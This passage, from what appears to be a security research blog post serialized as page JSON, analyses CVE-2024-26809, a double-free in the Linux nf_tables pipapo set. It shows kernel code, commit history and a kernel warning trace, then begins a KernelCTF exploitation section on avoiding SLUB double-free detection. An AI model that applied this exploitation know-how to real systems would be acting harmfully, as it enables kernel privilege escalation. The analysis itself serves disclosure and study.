set);\n[...]\n}\n",[54521],{"type":22,"tag":257,"props":54522,"children":54523},{"__ignoreMap":7},[54524,54563,54570,54577,54598,54605,54612,54619,54660,54667,54674,54695,54708,54720,54727,54734,54741,54782,54789,54817,54824,54837,54849,54890,54897,54904,54911,54969,54976,54983,55012,55019],{"type":22,"tag":264,"props":54525,"children":54526},{"class":1534,"line":1535},[54527,54531,54535,54539,54543,54547,54551,54555,54559],{"type":22,"tag":264,"props":54528,"children":54529},{"style":4293},[54530],{"type":27,"value":52365},{"type":22,"tag":264,"props":54532,"children":54533},{"style":4293},[54534],{"type":27,"value":52370},{"type":22,"tag":264,"props":54536,"children":54537},{"style":4401},[54538],{"type":27,"value":54167},{"type":22,"tag":264,"props":54540,"children":54541},{"style":1539},[54542],{"type":27,"value":2660},{"type":22,"tag":264,"props":54544,"children":54545},{"style":4293},[54546],{"type":27,"value":10699},{"type":22,"tag":264,"props":54548,"children":54549},{"style":1539},[54550],{"type":27,"value":53323},{"type":22,"tag":264,"props":54552,"children":54553},{"style":4309},[54554],{"type":27,"value":5865},{"type":22,"tag":264,"props":54556,"children":54557},{"style":1549},[54558],{"type":27,"value":53332},{"type":22,"tag":264,"props":54560,"children":54561},{"style":1539},[54562],{"type":27,"value":4463},{"type":22,"tag":264,"props":54564,"children":54565},{"class":1534,"line":1545},[54566],{"type":22,"tag":264,"props":54567,"children":54568},{"style":1539},[54569],{"type":27,"value":1542},{"type":22,"tag":264,"props":54571,"children":54572},{"class":1534,"line":1560},[54573],{"type":22,"tag":264,"props":54574,"children":54575},{"style":1539},[54576],{"type":27,"value":11616},{"type":22,"tag":264,"props":54578,"children":54579},{"class":1534,"line":1569},[54580,54585,54589,54593],{"type":22,"tag":264,"props":54581,"children":54582},{"style":4401},[54583],{"type":27,"value":54584}," schedule_work",{"type":22,"tag":264,"props":54586,"children":54587},{"style":1539},[54588],{"type":27,"value":2660},{"type":22,"tag":264,"props":54590,"children":54591},{"style":4309},[54592],{"type":27,"value":4413},{"type":22,"tag":264,"props":54594,"children":54595},{"style":1539},[54596],{"type":27,"value":54597},"trans_destroy_work);\n",{"type":22,"tag":264,"props":54599,"children":54600},{"class":1534,"line":1583},[54601],{"type":22,"tag":264,"props":54602,"children":54603},{"style":1539},[54604],{"type":27,"value":11616},{"type":22,"tag":264,"props":54606,"children":54607},{"class":1534,"line":1603},[54608],{"type":22,"tag":264,"props":54609,"children":54610},{"style":1539},[54611],{"type":27,"value":1692},{"type":22,"tag":264,"props":54613,"children":54614},{"class":1534,"line":1612},[54615],{"type":22,"tag":264,"props":54616,"children":54617},{"style":1539},[54618],{"type":27,"value":11616},{"type":22,"tag":264,"props":54620,"children":54621},{"class":1534,"line":1621},[54622,54626,54630,54635,54639,54643,54648,54652,54656],{"type":22,"tag":264,"props":54623,"children":54624},{"style":4293},[54625],{"type":27,"value":52365},{"type":22,"tag":264,"props":54627,"children":54628},{"style":4293},[54629],{"type":27,"value":52370},{"type":22,"tag":264,"props":54631,"children":54632},{"style":4401},[54633],{"type":27,"value":54634}," nf_tables_trans_destroy_work",{"type":22,"tag":264,"props":54636,"children":54637},{"style":1539},[54638],{"type":27,"value":2660},{"type":22,"tag":264,"props":54640,"children":54641},{"style":4293},[54642],{"type":27,"value":10699},{"type":22,"tag":264,"props":54644,"children":54645},{"style":1539},[54646],{"type":27,"value":54647}," work_struct ",{"type":22,"tag":264,"props":54649,"children":54650},{"style":4309},[54651],{"type":27,"value":5865},{"type":22,"tag":264,"props":54653,"children":54654},{"style":1549},[54655],{"type":27,"value":50892},{"type":22,"tag":264,"props":54657,"children":54658},{"style":1539},[54659],{"type":27,"value":4463},{"type":22,"tag":264,"props":54661,"children":54662},{"class":1534,"line":1629},[54663],{"type":22,"tag":264,"props":54664,"children":54665},{"style":1539},[54666],{"type":27,"value":1542},{"type":22,"tag":264,"props":54668,"children":54669},{"class":1534,"line":1642},[54670],{"type":22,"tag":264,"props":54671,"children":54672},{"style":1539},[54673],{"type":27,"value":11616},{"type":22,"tag":264,"props":54675,"children":54676},{"class":1534,"line":1660},[54677,54681,54686,54690],{"type":22,"tag":264,"props":54678,"children":54679},{"style":4401},[54680],{"type":27,"value":54319},{"type":22,"tag":264,"props":54682,"children":54683},{"style":1539},[54684],{"type":27,"value":54685},"(trans, next, ",{"type":22,"tag":264,"props":54687,"children":54688},{"style":4309},[54689],{"type":27,"value":4413},{"type":22,"tag":264,"props":54691,"children":54692},{"style":1539},[54693],{"type":27,"value":54694},"head, list) {\n",{"type":22,"tag":264,"props":54696,"children":54697},{"class":1534,"line":1668},[54698,54703],{"type":22,"tag":264,"props":54699,"children":54700},{"style":4401},[54701],{"type":27,"value":54702},"  nft_trans_list_del",{"type":22,"tag":264,"props":54704,"children":54705},{"style":1539},[54706],{"type":27,"value":54707},"(trans);\n",{"type":22,"tag":264,"props":54709,"children":54710},{"class":1534,"line":1677},[54711,54716],{"type":22,"tag":264,"props":54712,"children":54713},{"style":4401},[54714],{"type":27,"value":54715},"  nft_commit_release",{"type":22,"tag":264,"props":54717,"children":54718},{"style":1539},[54719],{"type":27,"value":54707},{"type":22,"tag":264,"props":54721,"children":54722},{"class":1534,"line":1686},[54723],{"type":22,"tag":264,"props":54724,"children":54725},{"style":1539},[54726],{"type":27,"value":10894},{"type":22,"tag":264,"props":54728,"children":54729},{"class":1534,"line":4948},[54730],{"type":22,"tag":264,"props":54731,"children":54732},{"style":1539},[54733],{"type":27,"value":1692},{"type":22,"tag":264,"props":54735,"children":54736},{"class":1534,"line":4957},[54737],{"type":22,"tag":264,"props":54738,"children":54739},{"style":1539},[54740],{"type":27,"value":11616},{"type":22,"tag":264,"props":54742,"children":54743},{"class":1534,"line":4980},[54744,54748,54752,54757,54761,54765,54770,54774,54778],{"type":22,"tag":264,"props":54745,"children":54746},{"style":4293},[54747],{"type":27,"value":52365},{"type":22,"tag":264,"props":54749,"children":54750},{"style":4293},[54751],{"type":27,"value":52370},{"type":22,"tag":264,"props":54753,"children":54754},{"style":4401},[54755],{"type":27,"value":54756}," nft_commit_release",{"type":22,"tag":264,"props":54758,"children":54759},{"style":1539},[54760],{"type":27,"value":2660},{"type":22,"tag":264,"props":54762,"children":54763},{"style":4293},[54764],{"type":27,"value":10699},{"type":22,"tag":264,"props":54766,"children":54767},{"style":1539},[54768],{"type":27,"value":54769}," nft_trans ",{"type":22,"tag":264,"props":54771,"children":54772},{"style":4309},[54773],{"type":27,"value":5865},{"type":22,"tag":264,"props":54775,"children":54776},{"style":1549},[54777],{"type":27,"value":53882},{"type":22,"tag":264,"props":54779,"children":54780},{"style":1539},[54781],{"type":27,"value":4463},{"type":22,"tag":264,"props":54783,"children":54784},{"class":1534,"line":4989},[54785],{"type":22,"tag":264,"props":54786,"children":54787},{"style":1539},[54788],{"type":27,"value":1542},{"type":22,"tag":264,"props":54790,"children":54791},{"class":1534,"line":4998},[54792,54797,54801,54805,54809,54813],{"type":22,"tag":264,"props":54793,"children":54794},{"style":4328},[54795],{"type":27,"value":54796}," switch",{"type":22,"tag":264,"props":54798,"children":54799},{"style":1539},[54800],{"type":27,"value":4370},{"type":22,"tag":264,"props":54802,"children":54803},{"style":1549},[54804],{"type":27,"value":53882},{"type":22,"tag":264,"props":54806,"children":54807},{"style":1539},[54808],{"type":27,"value":15056},{"type":22,"tag":264,"props":54810,"children":54811},{"style":1549},[54812],{"type":27,"value":53920},{"type":22,"tag":264,"props":54814,"children":54815},{"style":1539},[54816],{"type":27,"value":16103},{"type":22,"tag":264,"props":54818,"children":54819},{"class":1534,"line":5067},[54820],{"type":22,"tag":264,"props":54821,"children":54822},{"style":1539},[54823],{"type":27,"value":11616},{"type":22,"tag":264,"props":54825,"children":54826},{"class":1534,"line":5075},[54827,54832],{"type":22,"tag":264,"props":54828,"children":54829},{"style":4328},[54830],{"type":27,"value":54831}," case",{"type":22,"tag":264,"props":54833,"children":54834},{"style":1539},[54835],{"type":27,"value":54836}," NFT_MSG_DELSET:\n",{"type":22,"tag":264,"props":54838,"children":54839},{"class":1534,"line":5105},[54840,54844],{"type":22,"tag":264,"props":54841,"children":54842},{"style":4328},[54843],{"type":27,"value":54831},{"type":22,"tag":264,"props":54845,"children":54846},{"style":1539},[54847],{"type":27,"value":54848}," NFT_MSG_DESTROYSET:\n",{"type":22,"tag":264,"props":54850,"children":54851},{"class":1534,"line":5113},[54852,54857,54861,54865,54869,54873,54877,54881,54885],{"type":22,"tag":264,"props":54853,"children":54854},{"style":4401},[54855],{"type":27,"value":54856},"  nft_set_destroy",{"type":22,"tag":264,"props":54858,"children":54859},{"style":1539},[54860],{"type":27,"value":2660},{"type":22,"tag":264,"props":54862,"children":54863},{"style":4309},[54864],{"type":27,"value":4413},{"type":22,"tag":264,"props":54866,"children":54867},{"style":1539},[54868],{"type":27,"value":53882},{"type":22,"tag":264,"props":54870,"children":54871},{"style":4309},[54872],{"type":27,"value":15056},{"type":22,"tag":264,"props":54874,"children":54875},{"style":1549},[54876],{"type":27,"value":21587},{"type":22,"tag":264,"props":54878,"children":54879},{"style":1539},[54880],{"type":27,"value":4380},{"type":22,"tag":264,"props":54882,"children":54883},{"style":4401},[54884],{"type":27,"value":53848},{"type":22,"tag":264,"props":54886,"children":54887},{"style":1539},[54888],{"type":27,"value":54889},"(trans));\n",{"type":22,"tag":264,"props":54891,"children":54892},{"class":1534,"line":5145},[54893],{"type":22,"tag":264,"props":54894,"children":54895},{"style":1539},[54896],{"type":27,"value":11616},{"type":22,"tag":264,"props":54898,"children":54899},{"class":1534,"line":5153},[54900],{"type":22,"tag":264,"props":54901,"children":54902},{"style":1539},[54903],{"type":27,"value":1692},{"type":22,"tag":264,"props":54905,"children":54906},{"class":1534,"line":5213},[54907],{"type":22,"tag":264,"props":54908,"children":54909},{"style":1539},[54910],{"type":27,"value":11616},{"type":22,"tag":264,"props":54912,"children":54913},{"class":1534,"line":10343},[54914,54918,54922,54927,54931,54935,54939,54943,54947,54952,54956,54960,54964],{"type":22,"tag":264,"props":54915,"children":54916},{"style":4293},[54917],{"type":27,"value":52365},{"type":22,"tag":264,"props":54919,"children":54920},{"style":4293},[54921],{"type":27,"value":52370},{"type":22,"tag":264,"props":54923,"children":54924},{"style":4401},[54925],{"type":27,"value":54926}," nft_set_destroy",{"type":22,"tag":264,"props":54928,"children":54929},{"style":1539},[54930],{"type":27,"value":2660},{"type":22,"tag":264,"props":54932,"children":54933},{"style":4293},[54934],{"type":27,"value":10953},{"type":22,"tag":264,"props":54936,"children":54937},{"style":4293},[54938],{"type":27,"value":22458},{"type":22,"tag":264,"props":54940,"children":54941},{"style":1539},[54942],{"type":27,"value":52392},{"type":22,"tag":264,"props":54944,"children":54945},{"style":4309},[54946],{"type":27,"value":5865},{"type":22,"tag":264,"props":54948,"children":54949},{"style":1539},[54950],{"type":27,"value":54951},"ctx, ",{"type":22,"tag":264,"props":54953,"children":54954},{"style":4293},[54955],{"type":27,"value":10699},{"type":22,"tag":264,"props":54957,"children":54958},{"style":1539},[54959],{"type":27,"value":52420},{"type":22,"tag":264,"props":54961,"children":54962},{"style":4309},[54963],{"type":27,"value":5865},{"type":22,"tag":264,"props":54965,"children":54966},{"style":1539},[54967],{"type":27,"value":54968},"set)\n",{"type":22,"tag":264,"props":54970,"children":54971},{"class":1534,"line":10361},[54972],{"type":22,"tag":264,"props":54973,"children":54974},{"style":1539},[54975],{"type":27,"value":1542},{"type":22,"tag":264,"props":54977,"children":54978},{"class":1534,"line":10406},[54979],{"type":22,"tag":264,"props":54980,"children":54981},{"style":1539},[54982],{"type":27,"value":11616},{"type":22,"tag":264,"props":54984,"children":54985},{"class":1534,"line":10512},[54986,54990,54994,54998,55002,55007],{"type":22,"tag":264,"props":54987,"children":54988},{"style":1549},[54989],{"type":27,"value":54407},{"type":22,"tag":264,"props":54991,"children":54992},{"style":1539},[54993],{"type":27,"value":15056},{"type":22,"tag":264,"props":54995,"children":54996},{"style":1549},[54997],{"type":27,"value":53991},{"type":22,"tag":264,"props":54999,"children":55000},{"style":1539},[55001],{"type":27,"value":15056},{"type":22,"tag":264,"props":55003,"children":55004},{"style":4401},[55005],{"type":27,"value":55006},"destroy",{"type":22,"tag":264,"props":55008,"children":55009},{"style":1539},[55010],{"type":27,"value":55011},"(ctx, set);\n",{"type":22,"tag":264,"props":55013,"children":55014},{"class":1534,"line":24810},[55015],{"type":22,"tag":264,"props":55016,"children":55017},{"style":1539},[55018],{"type":27,"value":11616},{"type":22,"tag":264,"props":55020,"children":55021},{"class":1534,"line":24845},[55022],{"type":22,"tag":264,"props":55023,"children":55024},{"style":1539},[55025],{"type":27,"value":1692},{"type":22,"tag":23,"props":55027,"children":55028},{},[55029,55031,55036,55038,55043,55045,55051,55053,55058,55060,55065,55067,55071,55073,55078,55079,55083,55085,55091],{"type":27,"value":55030},"It may appear as if it would be impossible to make ",{"type":22,"tag":257,"props":55032,"children":55034},{"className":55033},[],[55035],{"type":27,"value":52294},{"type":27,"value":55037}," true in the release step because the ",{"type":22,"tag":257,"props":55039,"children":55041},{"className":55040},[],[55042],{"type":27,"value":53666},{"type":27,"value":55044}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":22,"tag":257,"props":55046,"children":55048},{"className":55047},[],[55049],{"type":27,"value":55050},"set->dead",{"type":27,"value":55052}," flag. If a ",{"type":22,"tag":257,"props":55054,"children":55056},{"className":55055},[],[55057],{"type":27,"value":52340},{"type":27,"value":55059}," was marked for deletion, it receives the ",{"type":22,"tag":257,"props":55061,"children":55063},{"className":55062},[],[55064],{"type":27,"value":55050},{"type":27,"value":55066}," flag ",{"type":22,"tag":264,"props":55068,"children":55069},{},[55070],{"type":27,"value":3568},{"type":27,"value":55072},". If this flag is set, then the commit path will skip any commitments to this ",{"type":22,"tag":257,"props":55074,"children":55076},{"className":55075},[],[55077],{"type":27,"value":52340},{"type":27,"value":7750},{"type":22,"tag":264,"props":55080,"children":55081},{},[55082],{"type":27,"value":18831},{"type":27,"value":55084},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":22,"tag":257,"props":55086,"children":55088},{"className":55087},[],[55089],{"type":27,"value":55090},"priv ->dirty",{"type":27,"value":55092}," flag is not cleared when it should have been.",{"type":22,"tag":169,"props":55094,"children":55096},{"id":55095},"tracing-the-guilty-commit",[55097],{"type":27,"value":55098},"Tracing the guilty commit",{"type":22,"tag":23,"props":55100,"children":55101},{},[55102,55104,55111,55113,55119,55121,55126,55128,55134],{"type":27,"value":55103},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":22,"tag":69,"props":55105,"children":55108},{"href":55106,"rel":55107},"https://ubuntu.com/security/CVE-2024-26809",[73],[55109],{"type":27,"value":55110},"advisories",{"type":27,"value":55112}," about this vulnerability will say it was introduced by this ",{"type":22,"tag":69,"props":55114,"children":55117},{"href":55115,"rel":55116},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[73],[55118],{"type":27,"value":54000},{"type":27,"value":55120},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":22,"tag":257,"props":55122,"children":55124},{"className":55123},[],[55125],{"type":27,"value":55050},{"type":27,"value":55127}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":22,"tag":69,"props":55129,"children":55132},{"href":55130,"rel":55131},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[73],[55133],{"type":27,"value":54000},{"type":27,"value":210},{"type":22,"tag":23,"props":55136,"children":55137},{},[55138],{"type":27,"value":55139},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":22,"tag":618,"props":55141,"children":55145},{"className":55142,"code":55143,"language":55144,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[55146],{"type":22,"tag":257,"props":55147,"children":55148},{"__ignoreMap":7},[55149,55157,55165,55172,55180,55188,55195,55203,55210,55218,55226,55233,55241,55249,55257,55265,55273,55281,55289,55297,55305,55312,55320,55328,55335,55343,55351,55359,55367,55375,55382,55390,55398],{"type":22,"tag":264,"props":55150,"children":55151},{"class":1534,"line":1535},[55152],{"type":22,"tag":264,"props":55153,"children":55154},{},[55155],{"type":27,"value":55156},"New elements that reside in the clone are not released in case that the\n",{"type":22,"tag":264,"props":55158,"children":55159},{"class":1534,"line":1545},[55160],{"type":22,"tag":264,"props":55161,"children":55162},{},[55163],{"type":27,"value":55164},"transaction is aborted.\n",{"type":22,"tag":264,"props":55166,"children":55167},{"class":1534,"line":1560},[55168],{"type":22,"tag":264,"props":55169,"children":55170},{"emptyLinePlaceholder":17},[55171],{"type":27,"value":4986},{"type":22,"tag":264,"props":55173,"children":55174},{"class":1534,"line":1569},[55175],{"type":22,"tag":264,"props":55176,"children":55177},{},[55178],{"type":27,"value":55179},"[16302.231754] ------------[ cut here ]------------\n",{"type":22,"tag":264,"props":55181,"children":55182},{"class":1534,"line":1583},[55183],{"type":22,"tag":264,"props":55184,"children":55185},{},[55186],{"type":27,"value":55187},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":264,"props":55189,"children":55190},{"class":1534,"line":1603},[55191],{"type":22,"tag":264,"props":55192,"children":55193},{},[55194],{"type":27,"value":11616},{"type":22,"tag":264,"props":55196,"children":55197},{"class":1534,"line":1612},[55198],{"type":22,"tag":264,"props":55199,"children":55200},{},[55201],{"type":27,"value":55202},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":22,"tag":264,"props":55204,"children":55205},{"class":1534,"line":1621},[55206],{"type":22,"tag":264,"props":55207,"children":55208},{},[55209],{"type":27,"value":11616},{"type":22,"tag":264,"props":55211,"children":55212},{"class":1534,"line":1629},[55213],{"type":22,"tag":264,"props":55214,"children":55215},{},[55216],{"type":27,"value":55217},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":22,"tag":264,"props":55219,"children":55220},{"class":1534,"line":1642},[55221],{"type":22,"tag":264,"props":55222,"children":55223},{},[55224],{"type":27,"value":55225},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":22,"tag":264,"props":55227,"children":55228},{"class":1534,"line":1660},[55229],{"type":22,"tag":264,"props":55230,"children":55231},{},[55232],{"type":27,"value":11616},{"type":22,"tag":264,"props":55234,"children":55235},{"class":1534,"line":1668},[55236],{"type":22,"tag":264,"props":55237,"children":55238},{},[55239],{"type":27,"value":55240},"[16302.231917] Call Trace:\n",{"type":22,"tag":264,"props":55242,"children":55243},{"class":1534,"line":1677},[55244],{"type":22,"tag":264,"props":55245,"children":55246},{},[55247],{"type":27,"value":55248},"[16302.231919]  \u003CTASK>\n",{"type":22,"tag":264,"props":55250,"children":55251},{"class":1534,"line":1686},[55252],{"type":22,"tag":264,"props":55253,"children":55254},{},[55255],{"type":27,"value":55256},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":22,"tag":264,"props":55258,"children":55259},{"class":1534,"line":4948},[55260],{"type":22,"tag":264,"props":55261,"children":55262},{},[55263],{"type":27,"value":55264},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":22,"tag":264,"props":55266,"children":55267},{"class":1534,"line":4957},[55268],{"type":22,"tag":264,"props":55269,"children":55270},{},[55271],{"type":27,"value":55272},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":22,"tag":264,"props":55274,"children":55275},{"class":1534,"line":4980},[55276],{"type":22,"tag":264,"props":55277,"children":55278},{},[55279],{"type":27,"value":55280},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":22,"tag":264,"props":55282,"children":55283},{"class":1534,"line":4989},[55284],{"type":22,"tag":264,"props":55285,"children":55286},{},[55287],{"type":27,"value":55288},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":22,"tag":264,"props":55290,"children":55291},{"class":1534,"line":4998},[55292],{"type":22,"tag":264,"props":55293,"children":55294},{},[55295],{"type":27,"value":55296},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":22,"tag":264,"props":55298,"children":55299},{"class":1534,"line":5067},[55300],{"type":22,"tag":264,"props":55301,"children":55302},{},[55303],{"type":27,"value":55304},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":22,"tag":264,"props":55306,"children":55307},{"class":1534,"line":5075},[55308],{"type":22,"tag":264,"props":55309,"children":55310},{"emptyLinePlaceholder":17},[55311],{"type":27,"value":4986},{"type":22,"tag":264,"props":55313,"children":55314},{"class":1534,"line":5105},[55315],{"type":22,"tag":264,"props":55316,"children":55317},{},[55318],{"type":27,"value":55319},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":22,"tag":264,"props":55321,"children":55322},{"class":1534,"line":5113},[55323],{"type":22,"tag":264,"props":55324,"children":55325},{},[55326],{"type":27,"value":55327},"elements in the lookup tables.\n",{"type":22,"tag":264,"props":55329,"children":55330},{"class":1534,"line":5145},[55331],{"type":22,"tag":264,"props":55332,"children":55333},{"emptyLinePlaceholder":17},[55334],{"type":27,"value":4986},{"type":22,"tag":264,"props":55336,"children":55337},{"class":1534,"line":5153},[55338],{"type":22,"tag":264,"props":55339,"children":55340},{},[55341],{"type":27,"value":55342},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":22,"tag":264,"props":55344,"children":55345},{"class":1534,"line":5213},[55346],{"type":22,"tag":264,"props":55347,"children":55348},{},[55349],{"type":27,"value":55350},"cloned matching data if priv->dirty is set, because that means that\n",{"type":22,"tag":264,"props":55352,"children":55353},{"class":1534,"line":10343},[55354],{"type":22,"tag":264,"props":55355,"children":55356},{},[55357],{"type":27,"value":55358},"cloned data might point to additional elements we did not commit to the\n",{"type":22,"tag":264,"props":55360,"children":55361},{"class":1534,"line":10361},[55362],{"type":22,"tag":264,"props":55363,"children":55364},{},[55365],{"type":27,"value":55366},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":22,"tag":264,"props":55368,"children":55369},{"class":1534,"line":10406},[55370],{"type":22,"tag":264,"props":55371,"children":55372},{},[55373],{"type":27,"value":55374},"to it).\"\n",{"type":22,"tag":264,"props":55376,"children":55377},{"class":1534,"line":10512},[55378],{"type":22,"tag":264,"props":55379,"children":55380},{"emptyLinePlaceholder":17},[55381],{"type":27,"value":4986},{"type":22,"tag":264,"props":55383,"children":55384},{"class":1534,"line":24810},[55385],{"type":22,"tag":264,"props":55386,"children":55387},{},[55388],{"type":27,"value":55389},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":22,"tag":264,"props":55391,"children":55392},{"class":1534,"line":24845},[55393],{"type":22,"tag":264,"props":55394,"children":55395},{},[55396],{"type":27,"value":55397},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":22,"tag":264,"props":55399,"children":55400},{"class":1534,"line":24853},[55401],{"type":22,"tag":264,"props":55402,"children":55403},{},[55404],{"type":27,"value":55405},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":22,"tag":23,"props":55407,"children":55408},{},[55409,55411,55416,55418,55423,55425,55430,55432,55437],{"type":27,"value":55410},"As we previously discussed, committing changes to a pipapo ",{"type":22,"tag":257,"props":55412,"children":55414},{"className":55413},[],[55415],{"type":27,"value":52340},{"type":27,"value":55417}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":22,"tag":257,"props":55419,"children":55421},{"className":55420},[],[55422],{"type":27,"value":53666},{"type":27,"value":55424}," method by simply replacing the ",{"type":22,"tag":257,"props":55426,"children":55428},{"className":55427},[],[55429],{"type":27,"value":52340},{"type":27,"value":55431},"s match object with its updated clone. So checking the ",{"type":22,"tag":257,"props":55433,"children":55435},{"className":55434},[],[55436],{"type":27,"value":52294},{"type":27,"value":55438}," flag and then calling free again ensures we also free uncommitted changes.",{"type":22,"tag":23,"props":55440,"children":55441},{},[55442,55444,55449],{"type":27,"value":55443},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":22,"tag":257,"props":55445,"children":55447},{"className":55446},[],[55448],{"type":27,"value":52340},{"type":27,"value":55450},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":22,"tag":23,"props":55452,"children":55453},{},[55454,55456,55462,55464,55469,55471,55476],{"type":27,"value":55455},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":22,"tag":257,"props":55457,"children":55459},{"className":55458},[],[55460],{"type":27,"value":55461},"set->ops->destroy()",{"type":27,"value":55463}," could be called without clearing the ",{"type":22,"tag":257,"props":55465,"children":55467},{"className":55466},[],[55468],{"type":27,"value":52294},{"type":27,"value":55470}," flag, which was fine considering you didn't have duplicated views of the ",{"type":22,"tag":257,"props":55472,"children":55474},{"className":55473},[],[55475],{"type":27,"value":52332},{"type":27,"value":55477},"s, so they would all be in the clone set.",{"type":22,"tag":23,"props":55479,"children":55480},{},[55481,55483,55488],{"type":27,"value":55482},"But when the ",{"type":22,"tag":257,"props":55484,"children":55486},{"className":55485},[],[55487],{"type":27,"value":55050},{"type":27,"value":55489}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":22,"tag":23,"props":55491,"children":55492},{},[55493],{"type":27,"value":55494},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":22,"tag":169,"props":55496,"children":55498},{"id":55497},"kernelctf-exploit",[55499],{"type":27,"value":55500},"KernelCTF exploit",{"type":22,"tag":23,"props":55502,"children":55503},{},[55504,55506,55512,55514,55521],{"type":27,"value":55505},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":22,"tag":257,"props":55507,"children":55509},{"className":55508},[],[55510],{"type":27,"value":55511},"nft_object + udata",{"type":27,"value":55513}," technique shared by lonial con in a ",{"type":22,"tag":69,"props":55515,"children":55518},{"href":55516,"rel":55517},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[73],[55519],{"type":27,"value":55520},"previous kernelCTF exploit",{"type":27,"value":210},{"type":22,"tag":181,"props":55523,"children":55525},{"id":55524},"trigger-uafavoid-double-free-detection",[55526],{"type":27,"value":55527},"Trigger UAF/avoid double-free detection",{"type":22,"tag":23,"props":55529,"children":55530},{},[55531,55533,55539,55541,55547],{"type":27,"value":55532},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":22,"tag":257,"props":55534,"children":55536},{"className":55535},[],[55537],{"type":27,"value":55538},"nft_set_pipapo_match_destroy",{"type":27,"value":55540}," iterates over the ",{"type":22,"tag":257,"props":55542,"children":55544},{"className":55543},[],[55545],{"type":27,"value":55546},"setelems",{"type":27,"value":55548}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will 